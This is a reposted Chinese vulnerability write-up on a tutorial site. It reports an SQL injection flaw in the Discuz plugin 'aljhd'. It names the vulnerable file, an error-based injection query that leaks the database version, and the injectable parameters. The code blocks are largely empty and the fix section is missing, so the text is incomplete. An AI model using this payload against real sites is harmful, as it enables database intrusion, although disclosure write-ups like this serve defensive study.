最新下载
热门教程
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
Discuz某插件sql注射漏洞
时间:2022-06-25 16:27:52 编辑:袖梨 来源:一聚教程网
Author:Saline
Email:[email protected]
文件source/plugin/aljhd/aljhd.inc.php122行附近
| 代码如下 | 复制代码 |
|
}else{ |
|
然后其中的fetch_all_by_ym fetch_all_by_type fetch_all_by_ym_type_status count_by_ym_type_status几个函数在
文件source/plugin/aljhd/table/table_alj_hd.php中找到了
| 代码如下 | 复制代码 |
|
class table_alj_hd extends discuz_table |
|
发现对其中的ym仅仅是做了addslashes处理,我们知道的addslashes编码仅仅是在gbk下才有作用,所有整个显得鸡肋
| 代码如下 | 复制代码 |
|
select count(*) from alj_hd where 1 and ym=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) and type=1 |
|
测试
word-spacing: 0px; -webkit-text-size-adjust: auto; -webkit-text-stroke-">可注入参数imes,ljtype,m,orderby,page,telid
贴一个ljtype的
随便找一个

POST测试一下

修复方案:
=-=~好多站都关了这个插件。。。
相关文章
- JK漫画官方入口在哪-最新地址下载与免费漫画阅读方法 03-16
- 阿里旺旺网页版直达-阿里旺旺官网极速入口 03-16
- 笔趣阁高干文精品入口-笔趣阁2026新址速递 03-16
- 虎牙网页版直达-虎牙直播网页版官方入口 03-16
- 虫虫漫画-免费海量正版漫画在线观看 03-16
- 俄罗斯搜索引擎入口yandex免登录-Yandex俄罗斯搜索免登录入口 03-16